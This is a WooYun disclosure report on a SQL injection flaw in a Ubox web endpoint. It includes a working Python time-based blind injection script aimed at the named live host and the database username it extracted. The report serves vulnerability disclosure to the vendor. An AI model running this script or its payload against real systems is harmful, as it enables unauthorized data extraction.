当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107798

漏洞标题:友宝某站SQL注入(付验证脚本)

相关厂商:友宝在线

漏洞作者: 追逐影子的人

提交时间:2015-04-14 15:57

修复时间:2015-05-29 16:48

公开时间:2015-05-29 16:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商已经确认,细节仅向厂商公开
2015-04-24: 细节向核心白帽子及相关领域专家公开
2015-05-04: 细节向普通白帽子公开
2015-05-14: 细节向实习白帽子公开
2015-05-29: 细节向公众公开

简要描述:

友宝某站注入

详细说明:

iOS app抓到的数据包 简化后如下
http://monk.uboxol.com/config/getClientStartTimes?idfa=1&os=a
os参数存在sql注入
[Done]MySQL user is uboxmonk@172.16.10.59

Snip20150414_2.png

漏洞证明:

验证脚本

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {}
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')
print 'Start to retrive MySQL User:'
user = ''
for i in range(1,28,1):
for payload in payloads:
conn = httplib.HTTPConnection('monk.uboxol.com', timeout=60)
s = '/config/getClientStartTimes?idfa=1&os=a"or(if(ascii(mid((select user())from(%s)for(1)))=%s,sleep(2),1))and"' % (i, ord(payload))
conn.request(method='GET',
url=s,
headers=headers)
start_time = time.time()
conn.getresponse().read()
conn.close()
if time.time() - start_time > 2:
user += payload
print '\n[Scan in progress]' + user
break
else:
print '.',
print '\n[Done]MySQL user is ' + user

修复方案:

过滤

版权声明:转载请注明来源 追逐影子的人@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-14 16:46

厂商回复:

感谢对友宝的关注,正在修复中。谢谢!

最新状态:

暂无


漏洞评价:

评论